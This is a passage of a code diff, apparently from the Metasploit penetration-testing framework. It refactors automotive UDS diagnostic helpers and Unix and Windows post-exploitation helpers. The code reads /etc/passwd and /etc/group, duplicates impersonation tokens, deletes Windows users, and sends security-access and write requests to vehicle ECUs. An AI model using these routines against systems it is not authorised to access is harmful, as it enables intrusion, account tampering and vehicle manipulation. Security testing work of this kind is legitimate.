"MAXPKTS" => 1 }) + def get_obd_standards(bus, src_id, dst_id, opt = {}) + opt['MAXPKTS'] = 1 + packets = get_current_data(bus, src_id, dst_id, 0x1C, opt) return "" if packets.nil? if packets.key? "error" print_error("OBD ERR: #{packets['error']}") @@ -532,11 +544,13 @@ module UDS # @param bus [String] unique CAN bus identifier # @param src_id [Integer] Integer representation of the Sending CAN ID # @param dst_id [Integer] Integer representation of the receiving CAN ID + # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response # # @return [Array] Array of PIDS supported by Mode $09 - def get_vinfo_supported_pids(bus, src_id, dst_id) + def get_vinfo_supported_pids(bus, src_id, dst_id, opt = {}) + opt['MAXPKTS'] = 1 pids = [] - packets = get_vehicle_info(bus, src_id, dst_id, 0, { "MAXPKTS" => 1 }) + packets = get_vehicle_info(bus, src_id, dst_id, 0, opt) return pids if packets.nil? if (packets.key? "Packets") && !packets["Packets"].empty? unless packets["Packets"][0]["DATA"][1].hex == 0x49 @@ -558,10 +572,11 @@ module UDS # @param bus [String] unique CAN bus identifier # @param src_id [Integer] Integer representation of the Sending CAN ID # @param dst_id [Integer] Integer representation of the receiving CAN ID + # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response # # @return [String] VIN as ASCII - def get_vin(bus, src_id, dst_id) - packets = get_vehicle_info(bus, src_id, dst_id, 0x02) + def get_vin(bus, src_id, dst_id, opt = {}) + packets = get_vehicle_info(bus, src_id, dst_id, 0x02, opt) return "" if packets.nil? return "UDS ERR: #{packets['error']}" if packets.key? "error" data = response_hash_to_data_array(dst_id.to_s(16), packets) @@ -575,10 +590,11 @@ module UDS # @param bus [String] unique CAN bus identifier # @param src_id [Integer] Integer representation of the Sending CAN ID # @param dst_id [Integer] Integer representation of the receiving CAN ID + # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response # # @return [String] Calibration ID as ASCII - def get_calibration_id(bus, src_id, dst_id) - packets = get_vehicle_info(bus, src_id, dst_id, 0x04) + def get_calibration_id(bus, src_id, dst_id, opt = {}) + packets = get_vehicle_info(bus, src_id, dst_id, 0x04, opt) return "" if packets.nil? return "UDS ERR: #{packets['error']}" if packets.key? "error" data = response_hash_to_data_array(dst_id.to_s(16), packets) @@ -592,10 +608,11 @@ module UDS # @param bus [String] unique CAN bus identifier # @param src_id [Integer] Integer representation of the Sending CAN ID # @param dst_id [Integer] Integer representation of the receiving CAN ID + # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response # # @return [String] ECU Name as ASCII - def get_ecu_name(bus, src_id, dst_id) - packets = get_vehicle_info(bus, src_id, dst_id, 0x0A) + def get_ecu_name(bus, src_id, dst_id, opt = {}) + packets = get_vehicle_info(bus, src_id, dst_id, 0x0A, opt) return "" if packets.nil? return "UDS ERR: #{packets['error']}" if packets.key? "error" data = response_hash_to_data_array(dst_id.to_s(16), packets) @@ -616,9 +633,10 @@ module UDS # @param src_id [Integer] Integer representation of the Sending CAN ID # @param dst_id [Integer] Integer representation of the receiving CAN ID # @param level [Integer] The desired DSC level + # @param opt [Hash] Optional arguments. PADDING if set uses this hex value for padding # # @return [Hash] client.automtoive response - def set_dsc(bus, src_id, dst_id, level) + def set_dsc(bus, src_id, dst_id, level, opt = {}) unless client.automotive print_error("Not an automotive hwbridge session") return {} @@ -631,9 +649,12 @@ module UDS print_line("No active bus, use 'connect' or specify bus via the options") return {} end + padding = nil + padding = opt['PADDING'] if opt.key? 'PADDING' opt = {} opt["TIMEOUT"] = 20 opt["MAXPKTS"] = 1 + opt["PADDING"] = padding unless padding.nil? client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x10, level], opt) end @@ -674,10 +695,11 @@ module UDS # @param src_id [Integer] Integer representation of the Sending CAN ID # @param dst_id [Integer] Integer representation of the receiving CAN ID # @param id [Array] 2 Bytes in an array of the identifier. Example [ 0xF1, 0x90 ] - # @param show_error [Boolean] If an error, return the Packet hash instead, Default false + # @param opt [Hash] Additional Options. SHOW_ERROR (Returns packet hash instead, default false) + # PADDING if set uses this hex value for padding # # @return [Array] Data retrieved. If show_error is true and an error is detected, then packet hash will be returned instead - def read_data_by_id(bus, src_id, dst_id, id, show_error = false) + def read_data_by_id(bus, src_id, dst_id, id, opt = {}) data = [] unless client.automotive print_error("Not an automotive hwbridge session") @@ -702,14 +724,22 @@ module UDS print_line("No active bus, use 'connect' or specify bus via the options") return {} end + show_error = false + padding = nil + show_error = true if opt.key? 'SHOW_ERROR' + padding = opt['PADDING'] if opt.key? 'PADDING' opt = {} opt["MAXPKTS"] = 15 + opt["PADDING"] = padding unless padding.nil? packets = client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x22] + id, opt) return [] if packets.nil? if packets.key? "error" return packets if show_error else data = response_hash_to_data_array(dst_id, packets) + if id.size > 1 # Remove IDs from return + data = data[(id.size-1)..data.size] + end end data end @@ -723,9 +753,10 @@ module UDS # @param src_id [Integer] Integer representation of the Sending CAN ID # @param dst_id [Integer] Integer representation of the receiving CAN ID # @param level [Integer] Requested security access level. Default is 1 + # @param opt [Hash] Optional settings. PADDING if set uses this hex value for padding # # @return [Hash] Packet Hash with { "SEED" => [ XX, XX ] } - def get_security_token(bus, src_id, dst_id, level = 1) + def get_security_token(bus, src_id, dst_id, level = 1, opt = {}) unless client.automotive print_error("Not an automotive hwbridge session") return {} @@ -738,8 +769,11 @@ module UDS print_line("No active bus, use 'connect' or specify bus via the options") return {} end + padding = nil + padding = opt['PADDING'] if opt.key? 'PADDING' opt = {} - opt["MAXPKTS"] = 1 + opt["MAXPKTS"] = 2 + opt["PADDING"] = padding unless padding.nil? packets = client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x27, level], opt) return {} if packets.nil? unless packets.key? "error" @@ -754,11 +788,12 @@ module UDS # @param bus [String] unique CAN bus identifier # @param src_id [Integer] Integer representation of the Sending CAN ID # @param dst_id [Integer] Integer representation of the receiving CAN ID - # param key [Array] Array of Hex to be used as the key. Same size as the seed + # @param key [Array] Array of Hex to be used as the key. Same size as the seed # @param response_level [Integer] Requested security access level response. Usually level + 1. Default is 2 + # @param opt [Hash] Optional settings. PADDING if set uses this hex value for padding # # @return [Hash] packet response from client.automotoive - def send_security_token_response(bus, src_id, dst_id, key, response_level = 2) + def send_security_token_response(bus, src_id, dst_id, key, response_level = 2, opt = {}) unless client.automotive print_error("Not an automotive hwbridge session") return {} @@ -776,8 +811,11 @@ module UDS print_line("No active bus, use 'connect' or specify bus via the options") return {} end + padding = nil + padding = opt['PADDING'] if opt.key? 'PADDING' opt = {} - opt["MAXPKTS"] = 1 + opt["MAXPKTS"] = 2 + opt["PADDING"] = padding unless padding.nil? client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x27, response_level] + key, opt) end @@ -791,9 +829,10 @@ module UDS # @param dst_id [Integer] Integer representation of the receiving CAN ID # @param id [Array] 2 Bytes in an array of the identifier. Example [ 0xF1, 0x90 ] # @param data [Array] Array of bytes to write + # @param opt [Hash] Optional settings. PADDING if set uses this hex value for padding # # @return [Hash] Packet hash from client.automotive - def write_data_by_id(bus, src_id, dst_id, id, data) + def write_data_by_id(bus, src_id, dst_id, id, data, opt = {}) unless client.automotive print_error("Not an automotive hwbridge session") return {} @@ -815,8 +854,11 @@ module UDS print_line("No active bus, use 'connect' or specify bus via the options") return {} end + padding = nil + padding = opt['PADDING'] if opt.key? 'PADDING' opt = {} opt["MAXPKTS"] = 1 + opt["PADDING"] = padding unless padding.nil? client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x27] + id + data, opt) end @@ -871,10 +913,11 @@ module UDS # @param bus [String] unique CAN bus identifier # @param src_id [Integer] Integer representation of the Sending CAN ID # @param dst_id [Integer] Integer representation of the receiving CAN ID - # @param suppress_response [Boolean] By default suppress ACK from ECU. Set to false if you want confirmation + # @param opt [Hash] Optional arguments such as: PADDING if set uses this hex value for padding + # SUPPRESS_RESPONSE By default suppress ACK from ECU. Set to false if you want confirmation # # @return [Hash] Packet hash from client.automotive. Typically blank unless suppress_response is false - def send_tester_present(bus, src_id, dst_id, suppress_response = true) + def send_tester_present(bus, src_id, dst_id, opt = {}) unless client.automotive print_error("Not an automotive hwbridge session") return {} @@ -886,10 +929,13 @@ module UDS print_line("No active bus, use 'connect' or specify bus via the options") return {} end + padding = nil suppress = 0x80 - suppress = 0 unless suppress_response + suppress = 0 unless (opt.key? 'SUPRESS_RESPONSE') && opt['SUPRESS_RESPONSE'] == false + padding = opt['PADDING'] if opt.key? 'PADDING' opt = {} opt["MAXPKTS"] = 1 + opt["PADDING"] = padding unless padding.nil? client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x3E, suppress], opt) end diff --git a/lib/msf/core/post/hardware/rftransceiver/rftransceiver.rb b/lib/msf/core/post/hardware/rftransceiver/rftransceiver.rb index 5ecb336ec3..7bc09175f9 100644 --- a/lib/msf/core/post/hardware/rftransceiver/rftransceiver.rb +++ b/lib/msf/core/post/hardware/rftransceiver/rftransceiver.rb @@ -278,6 +278,16 @@ module RFTransceiver return_success(r) end + # + # Sets lowball. Ensure you set the frequency first before using this + # @return [Boolean] success value + def set_lowball + return false unless is_rf? + self.index ||= 0 + r = client.rftransceiver.set_lowball(self.index) + return_success(r) + end + # # Set power level # @param level [Integer] Power level diff --git a/lib/msf/core/post/unix.rb b/lib/msf/core/post/unix.rb index b09425f198..37637f147e 100644 --- a/lib/msf/core/post/unix.rb +++ b/lib/msf/core/post/unix.rb @@ -40,14 +40,17 @@ module Msf::Post::Unix # def get_groups groups = [] - cmd_out = read_file("/etc/group").split("\n") - cmd_out.each do |l| - entry = {} - user_field = l.split(":") - entry[:name] = user_field[0] - entry[:gid] = user_field[2] - entry[:users] = user_field[3] - groups << entry + group = '/etc/group' + if file_exist?(group) + cmd_out = read_file(group).split("\n") + cmd_out.each do |l| + entry = {} + user_field = l.split(":") + entry[:name] = user_field[0] + entry[:gid] = user_field[2] + entry[:users] = user_field[3] + groups << entry + end end return groups end @@ -59,8 +62,11 @@ module Msf::Post::Unix user_dirs = [] # get all user directories from /etc/passwd - read_file("/etc/passwd").each_line do |passwd_line| - user_dirs << passwd_line.split(/:/)[5] + passwd = '/etc/passwd' + if file_exist?(passwd) + read_file(passwd).each_line do |passwd_line| + user_dirs << passwd_line.split(/:/)[5] + end end # also list other common places for home directories in the event that diff --git a/lib/msf/core/post/windows/accounts.rb b/lib/msf/core/post/windows/accounts.rb index 72dc1bcc11..58f5655153 100644 --- a/lib/msf/core/post/windows/accounts.rb +++ b/lib/msf/core/post/windows/accounts.rb @@ -3,336 +3,342 @@ require 'msf/core/post/windows/error' module Msf -class Post -module Windows + class Post + module Windows + module Accounts + include Msf::Post::Windows::Error -module Accounts - include Msf::Post::Windows::Error + GUID = [ + ['Data1', :DWORD], + ['Data2', :WORD], + ['Data3', :WORD], + ['Data4', 'BYTE[8]'] + ].freeze - GUID = [ - ['Data1',:DWORD], - ['Data2',:WORD], - ['Data3',:WORD], - ['Data4','BYTE[8]'] - ] + DOMAIN_CONTROLLER_INFO = [ + ['DomainControllerName', :LPSTR], + ['DomainControllerAddress', :LPSTR], + ['DomainControllerAddressType', :ULONG], + ['DomainGuid', GUID], + ['DomainName', :LPSTR], + ['DnsForestName', :LPSTR], + ['Flags', :ULONG], + ['DcSiteName', :LPSTR], + ['ClientSiteName', :LPSTR] + ].freeze - DOMAIN_CONTROLLER_INFO = [ - ['DomainControllerName',:LPSTR], - ['DomainControllerAddress',:LPSTR], - ['DomainControllerAddressType',:ULONG], - ['DomainGuid',GUID], - ['DomainName',:LPSTR], - ['DnsForestName',:LPSTR], - ['Flags',:ULONG], - ['DcSiteName',:LPSTR], - ['ClientSiteName',:LPSTR] - ] + ## + # get_domain(server_name = nil) + # + # Summary: + # Retrieves the current DomainName the given server is + # a member of. + # + # Parameters + # server_name - DNS or NetBIOS name of the remote server + # Returns: + # The DomainName of the remote server or nil if windows + # could not retrieve the DomainControllerInfo or encountered + # an exception. + # + ## + def get_domain(server_name = nil) + domain = nil + result = session.railgun.netapi32.DsGetDcNameA( + server_name, + nil, + nil, + nil, + 0, + 4 + ) - ## - # get_domain(server_name=nil) - # - # Summary: - # Retrieves the current DomainName the given server is - # a member of. - # - # Parameters - # server_name - DNS or NetBIOS name of the remote server - # Returns: - # The DomainName of the remote server or nil if windows - # could not retrieve the DomainControllerInfo or encountered - # an exception. - # - ## - def get_domain(server_name=nil) - domain = nil - result = session.railgun.netapi32.DsGetDcNameA( - server_name, - nil, - nil, - nil, - 0, - 4) + begin + dc_info_addr = result['DomainControllerInfo'] + unless dc_info_addr == 0 + dc_info = session.railgun.util.read_data(DOMAIN_CONTROLLER_INFO, dc_info_addr) + pointer = session.railgun.util.unpack_pointer(dc_info['DomainName']) + domain = session.railgun.util.read_string(pointer) + end + ensure + session.railgun.netapi32.NetApiBufferFree(dc_info_addr) + end - begin - dc_info_addr = result['DomainControllerInfo'] - unless dc_info_addr == 0 - dc_info = session.railgun.util.read_data(DOMAIN_CONTROLLER_INFO, dc_info_addr) - pointer = session.railgun.util.unpack_pointer(dc_info['DomainName']) - domain = session.railgun.util.read_string(pointer) - end - ensure - session.railgun.netapi32.NetApiBufferFree(dc_info_addr) - end + domain + end - domain - end + ## + # delete_user(username, server_name = nil) + # + # Summary: + # Deletes a user account from the given server (or local if none given) + # + # Parameters + # username - The username of the user to delete (not-qualified, e.g. BOB) + # server_name - DNS or NetBIOS name of remote server on which to delete user + # + # Returns: + # One of the following: + # :success - Everything went as planned + # :invalid_server - The server name provided was invalid + # :not_on_primary - Operation allowed only on domain controller + # :user_not_found - User specified does not exist on the given server + # :access_denied - You do not have permission to delete the given user + # + # OR nil if there was an exceptional Windows error (example: ran out of memory) + # + # Caveats: + # nil is returned if there is an *exceptional* Windows error. That error is printed. + # Everything other than ':success' signifies failure + ## + def delete_user(username, server_name = nil) + deletion = client.railgun.netapi32.NetUserDel(server_name, username) - ## - # delete_user(username, server_name = nil) - # - # Summary: - # Deletes a user account from the given server (or local if none given) - # - # Parameters - # username - The username of the user to delete (not-qualified, e.g. BOB) - # server_name - DNS or NetBIOS name of remote server on which to delete user - # - # Returns: - # One of the following: - # :success - Everything went as planned - # :invalid_server - The server name provided was invalid - # :not_on_primary - Operation allowed only on domain controller - # :user_not_found - User specified does not exist on the given server - # :access_denied - You do not have permission to delete the given user - # - # OR nil if there was an exceptional windows error (example: ran out of memory) - # - # Caveats: - # nil is returned if there is an *exceptional* windows error. That error is printed. - # Everything other than ':success' signifies failure - ## - def delete_user(username, server_name = nil) - deletion = client.railgun.netapi32.NetUserDel(server_name, username) + # http://msdn.microsoft.com/en-us/library/aa370674.aspx + case deletion['return'] + when 2221 # NERR_UserNotFound + return :user_not_found + when 2351 # NERR_InvalidComputer + return :invalid_server + when 2226 # NERR_NotPrimary + return :not_on_primary + when client.railgun.const('ERROR_ACCESS_DENIED') + return :access_denied + when 0 + return :success + else + error = deletion['GetLastError'] + if error != 0 + print_error "Unexpected Windows System Error #{error}" + else + # Uh... we shouldn't be here + print_error "DeleteUser unexpectedly returned #{deletion['return']}" + end + end - #http://msdn.microsoft.com/en-us/library/aa370674.aspx - case deletion['return'] - when 2221 # NERR_UserNotFound - return :user_not_found - when 2351 # NERR_InvalidComputer - return :invalid_server - when 2226 # NERR_NotPrimary - return :not_on_primary - when client.railgun.const('ERROR_ACCESS_DENIED') - return :access_denied - when 0 - return :success - else - error = deletion['GetLastError'] - if error != 0 - print_error "Unexpected Windows System Error #{error}" - else - # Uh... we shouldn't be here - print_error "DeleteUser unexpectedly returned #{deletion['return']}" - end - end + # If we got here, then something above failed + nil + end - # If we got here, then something above failed - return nil - end + ## + # resolve_sid(sid, system_name = nil) + # + # Summary: + # Retrieves the name, domain, and type of account for the given sid + # + # Parameters: + # sid - A SID string (e.g. S-1-5-32-544) + # system_name - Where to search. If nil, first local system then trusted DCs + # + # Returns: + # { + # name: account name (e.g. "SYSTEM") + # domain: domain where the account name was found. May have values such as + # the work station's name, BUILTIN, NT AUTHORITY, or an empty string + # type: one of :user, :group, :domain, :alias, :well_known_group, + # :deleted_account, :invalid, :unknown, :computer + # mapped: There was a mapping found for the SID + # } + # + # OR nil if there was an exceptional Windows error (example: ran out of memory) + # + # Caveats: + # If a valid mapping is not found, only { mapped: false } will be returned + # nil is returned if there is an *exceptional* Windows error. That error is printed. + # If an invalid system_name is provided, there will be a Windows error and nil returned + ## + def resolve_sid(sid, system_name = nil) + adv = client.railgun.advapi32 + # Second param is the size of the buffer where the pointer will be written + # In railgun, if you specify 4 bytes for a PDWORD it will grow to 8, as needed. + conversion = adv.ConvertStringSidToSidA(sid, 4) - ## - # resolve_sid(sid, system_name = nil) - # - # Summary: - # Retrieves the name, domain, and type of account for the given sid - # - # Parameters: - # sid - A SID string (e.g. S-1-5-32-544) - # system_name - Where to search. If nil, first local system then trusted DCs - # - # Returns: - # { - # :name => account name (e.g. "SYSTEM") - # :domain => domain where the account name was found. May have values such as - # the work station's name, BUILTIN, NT AUTHORITY, or an empty string - # :type => one of :user, :group, :domain, :alias, :well_known_group, - # :deleted_account, :invalid, :unknown, :computer - # :mapped => There was a mapping found for the SID - # } - # - # OR nil if there was an exceptional windows error (example: ran out of memory) - # - # Caveats: - # If a valid mapping is not found, only { :mapped => false } will be returned - # nil is returned if there is an *exceptional* windows error. That error is printed. - # If an invalid system_name is provided, there will be a windows error and nil returned - ## - def resolve_sid(sid, system_name = nil) - adv = client.railgun.advapi32; + # If the call failed, handle errors accordingly. + unless conversion['return'] + error = conversion['GetLastError'] - # Second param is the size of the buffer where the pointer will be written - # In railgun, if you specify 4 bytes for a PDWORD it will grow to 8, as needed. - conversion = adv.ConvertStringSidToSidA(sid, 4) + case error + when client.railgun.const('ERROR_INVALID_SID') + # An invalid SID was supplied + return { type: :invalid, mapped: false } + when client.railgun.const('ERROR_NONE_MAPPED') + # There were no accounts associated with this SID + return { mapped: false } + else + print_error "Unexpected Windows error #{error} resolving SID #{sid}" + return nil + end + end - # If the call failed, handle errors accordingly. - unless conversion['return'] - error = conversion['GetLastError'] + psid = conversion['pSid'] - case error - when client.railgun.const('ERROR_INVALID_SID') - # An invalid SID was supplied - return { :type => :invalid, :mapped => false } - else - print_error "Unexpected windows error #{error}" - return nil - end - end + # Begin/Ensure so we free the pSid buffer... + begin + # A reference to the SID data structure. Generally needed when working with sids - psid = conversion['pSid'] + # http://msdn.microsoft.com/en-us/library/aa379166(v=vs.85).aspx + lp_name = lp_referenced_domain_name = 100 + cch_name = cch_referenced_domain_name = 100 + lookup = adv.LookupAccountSidA( + system_name, + psid, + lp_name, + cch_name, + lp_referenced_domain_name, + cch_referenced_domain_name, + 1 + ) - # Begin/Ensure so we free the pSid buffer... - begin - # A reference to the SID data structure. Generally needed when working with sids + if !lookup['return'] && lookup['GetLastError'] == INSUFFICIENT_BUFFER + lp_name = cch_name = lookup['cchName'] + lp_referenced_domain_name = cch_referenced_domain_name = lookup['cchReferencedDomainName'] - # http://msdn.microsoft.com/en-us/library/aa379166(v=vs.85).aspx - lp_name = lp_referenced_domain_name = 100 - cch_name = cch_referenced_domain_name = 100 - lookup = adv.LookupAccountSidA(system_name, - psid, - lp_name, - cch_name, - lp_referenced_domain_name, - cch_referenced_domain_name, - 1) + lookup = adv.LookupAccountSidA( + system_name, + psid, + lp_name, + cch_name, + lp_referenced_domain_name, + cch_referenced_domain_name, + 1 + ) - if !lookup['return'] && lookup['GetLastError'] == INSUFFICIENT_BUFFER - lp_name = cch_name = lookup['cchName'] - lp_referenced_domain_name = cch_referenced_domain_name = lookup['cchReferencedDomainName'] + elsif !lookup['return'] + print_error "Unexpected Windows error #{lookup['GetLastError']}" + return nil + end + ensure + # We no longer need the sid so free it. + adv.FreeSid(psid) + end - lookup = adv.LookupAccountSidA(system_name, - psid, - lp_name, - cch_name, - lp_referenced_domain_name, - cch_referenced_domain_name, - 1) - elsif !lookup['return'] - print_error "Unexpected windows error #{lookup['GetLastError']}" - return nil - end - ensure - # We no longer need the sid so free it. - adv.FreeSid(psid) - end + # If the call failed, handle errors accordingly. + unless lookup['return'] + error = lookup['GetLastError'] - # If the call failed, handle errors accordingly. - unless lookup['return'] - error = lookup['GetLastError'] + case error + when client.railgun.const('ERROR_INVALID_PARAMETER') + # Unless the railgun call is broken, this means revision is wrong + return { type: :invalid } + when client.railgun.const('ERROR_NONE_MAPPED') + # There were no accounts associated with this SID + return { mapped: false } + else + print_error "Unexpected Windows error #{error} resolving SID #{sid}" + return nil + end + end - case error - when client.railgun.const('ERROR_INVALID_PARAMETER') - # Unless the railgun call is broken, this means revision is wrong - return { :type => :invalid } - when client.railgun.const('ERROR_NONE_MAPPED') - # There were no accounts associated with this SID - return { :mapped => false } - else - print_error "Unexpected windows error #{error}" - return nil - end - end + # peUse is the enum "SID_NAME_USE" + sid_type = lookup_SID_NAME_USE(lookup['peUse'].unpack('C')[0]) - # peUse is the enum "SID_NAME_USE" - sid_type = lookup_SID_NAME_USE(lookup['peUse'].unpack('C')[0]) + return { + name: lookup['Name'], + domain: lookup['ReferencedDomainName'], + type: sid_type, + mapped: true + } + end - return { - :name => lookup['Name'], - :domain => lookup['ReferencedDomainName'], - :type => sid_type, - :mapped => true - } - end + private - private + ## + # Converts a WinAPI's SID_NAME_USE enum to a symbol + # Symbols are (in order) :user, :group, :domain, :alias, :well_known_group, + # :deleted_account, :invalid, :unknown, :computer + ## + def lookup_SID_NAME_USE(enum_value) + [ + # SidTypeUser = 1 + :user, + # SidTypeGroup, + :group, + # SidTypeDomain, + :domain, + # SidTypeAlias, + :alias, + # SidTypeWellKnownGroup, + :well_known_group, + # SidTypeDeletedAccount, + :deleted_account, + # SidTypeInvalid, + :invalid, + # SidTypeUnknown, + :unknown, + # SidTypeComputer, + :computer, + # SidTypeLabel + :integrity_label + ][enum_value - 1] + end - ## - # Converts a WinAPI's SID_NAME_USE enum to a symbol - # Symbols are (in order) :user, :group, :domain, :alias, :well_known_group, - # :deleted_account, :invalid, :unknown, :computer - ## - def lookup_SID_NAME_USE(enum_value) - [ - # SidTypeUser = 1 - :user, - # SidTypeGroup, - :group, - #SidTypeDomain, - :domain, - #SidTypeAlias, - :alias, - #SidTypeWellKnownGroup, - :well_known_group, - #SidTypeDeletedAccount, - :deleted_account, - #SidTypeInvalid, - :invalid, - #SidTypeUnknown, - :unknown, - #SidTypeComputer, - :computer, - #SidTypeLabel - :integrity_label - ][enum_value - 1] - end + # Gets an impersonation token from the primary token. + # + # @return [Integer] the impersonate token handle identifier if success, nil if + # fails + def get_imperstoken + adv = session.railgun.advapi32 + tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | " + tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS" + tok_all << " | TOKEN_ADJUST_DEFAULT" - # Gets an impersonation token from the primary token. - # - # @return [Integer] the impersonate token handle identifier if success, nil if - # fails - def get_imperstoken - adv = session.railgun.advapi32 - tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | " - tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS" - tok_all << " | TOKEN_ADJUST_DEFAULT" + pid = session.sys.process.open.pid + pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS) + pt = adv.OpenProcessToken(pr.handle, tok_all, 4) # get handle to primary token + it = adv.DuplicateToken(pt["TokenHandle"], 2, 4) # get an impersonation token + if it["return"] # if it fails return 0 for error handling + return it["DuplicateTokenHandle"] + else + return nil + end + end - pid = session.sys.process.open.pid - pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS) - pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token - it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token - if it["return"] #if it fails return 0 for error handling - return it["DuplicateTokenHandle"] - else - return nil - end - end + # Gets the permissions granted from the Security Descriptor of a directory + # to an access token. + # + # @param [String] dir the directory path + # @param [Integer] token the access token + # @return [String, nil] a String describing the permissions or nil + def check_dir_perms(dir, token) + adv = session.railgun.advapi32 + si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION" + result = "" - # Gets the permissions granted from the Security Descriptor of a directory - # to an access token. - # - # @param [String] dir the directory path - # @param [Integer] token the access token - # @return [String, nil] a String describing the permissions or nil - def check_dir_perms(dir, token) - adv = session.railgun.advapi32 - si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION" - result = "" + # define generic mapping structure + gen_map = [0, 0, 0, 0] + gen_map = gen_map.pack("V") + buffer_size = 500 - #define generic mapping structure - gen_map = [0,0,0,0] - gen_map = gen_map.pack("V") - buffer_size = 500 + # get Security Descriptor for the directory + f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4) + if f['return'] && f["lpnLengthNeeded"] <= buffer_size + sd = f["pSecurityDescriptor"] + elsif f['GetLastError'] == 122 # ERROR_INSUFFICIENT_BUFFER + sd = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4) + elsif f['GetLastError'] == 2 + vprint_error("The system cannot find the file specified: #{dir}") + return nil + else + vprint_error("#{f['ErrorMessage']}: #{dir}") + return nil + end - #get Security Descriptor for the directory - f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4) - if (f['return'] and f["lpnLengthNeeded"] <= buffer_size) - sd = f["pSecurityDescriptor"] - elsif (f['GetLastError'] == 122) # ERROR_INSUFFICIENT_BUFFER - f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4) - elsif (f['GetLastError'] == 2) - vprint_error("The system cannot find the file specified: #{dir}") - return nil - else - vprint_error("#{f['ErrorMessage']}: #{dir}") - return nil - end + # check for write access, called once to get buffer size + a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8) + len = a["PrivilegeSetLength"] - #check for write access, called once to get buffer size - a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8) - len = a["PrivilegeSetLength"] + r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8) + return nil if !r["return"] + result << "R" if r["GrantedAccess"] > 0 - r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8) - if !r["return"] then return nil end - if r["GrantedAccess"] > 0 then result << "R" end + w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8) + return nil if !w["return"] + result << "W" if w["GrantedAccess"] > 0 - w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8) - if !w["return"] then return nil end - if w["GrantedAccess"] > 0 then result << "W" end - - result - end - -end # Accounts -end # Windows -end # Post + result + end + end # Accounts + end # Windows + end # Post end # Msf diff --git a/lib/msf/core/post/windows/railgun.rb b/lib/msf/core/post/windows/railgun.rb index 841d07a90f..8038970e71 100644 --- a/lib/msf/core/post/windows/railgun.rb +++ b/lib/msf/core/post/windows/railgun.rb @@ -7,10 +7,10 @@ module Windows module Railgun # Go through each dll and add a corresponding convenience method of the same name - Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::Railgun::BUILTIN_DLLS['windows'].each do |api| + Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::Railgun::BUILTIN_LIBRARIES['windows'].each do |api| # We will be interpolating within an eval. We exercise due paranoia. unless api.to_s =~ /^\w+$/ - print_error 'Something is seriously wrong with Railgun.BUILTIN_DLLS list' + print_error 'Something is seriously wrong with Railgun.BUILTIN_LIBRARIES list' next end diff --git a/lib/msf/core/rpc/v10/rpc_module.rb b/lib/msf/core/rpc/v10/rpc_module.rb index a29d367de8..418f7bd507 100644 --- a/lib/msf/core/rpc/v10/rpc_module.rb +++ b/lib/msf/core/rpc/v10/rpc_module.rb @@ -99,25 +99,21 @@ class RPC_Module < RPC_Base # rpc.call('module.info', 'exploit', 'windows/smb/ms08_067_netapi') def rpc_info(mtype, mname) m = _find_module(mtype,mname) - res = {} - - res['name'] = m.name - res['description'] = m.description + res = module_short_info(m) + res['description'] = Rex::Text.compress(m.description) res['license'] = m.license res['filepath'] = m.file_path - res['rank'] = m.rank.to_i + res['arch'] = m.arch.map { |x| x.to_s } + res['platform'] = m.platform.platforms.map { |x| x.to_s } + res['authors'] = m.author.map { |a| a.to_s } + res['privileged'] = m.privileged? res['references'] = [] m.references.each do |r| res['references'] << [r.ctx_id, r.ctx_val] end - res['authors'] = [] - m.each_author do |a| - res['authors'] << a.to_s - end - - if(m.type == "exploit") + if m.type == 'exploit' res['targets'] = {} m.targets.each_index do |i| res['targets'][i] = m.targets[i].name @@ -126,22 +122,61 @@ class RPC_Module < RPC_Base if (m.default_target) res['default_target'] = m.default_target end + + # Some modules are a combination, which means they are actually aggressive + res['stance'] = m.stance.to_s.index('aggressive') ? 'aggressive' : 'passive' end - if(m.type == "auxiliary") + if m.type == 'auxiliary' || m.type == 'post' res['actions'] = {} m.actions.each_index do |i| res['actions'][i] = m.actions[i].name end - if (m.default_action) + if m.default_action res['default_action'] = m.default_action end + + if m.type == 'auxiliary' + res['stance'] = m.passive? ? 'passive' : 'aggressive' + end end + opts = {} + m.options.each_key do |k| + o = m.options[k] + opts[k] = { + 'type' => o.type, + 'required' => o.required, + 'advanced' => o.advanced, + 'desc' => o.desc + } + + 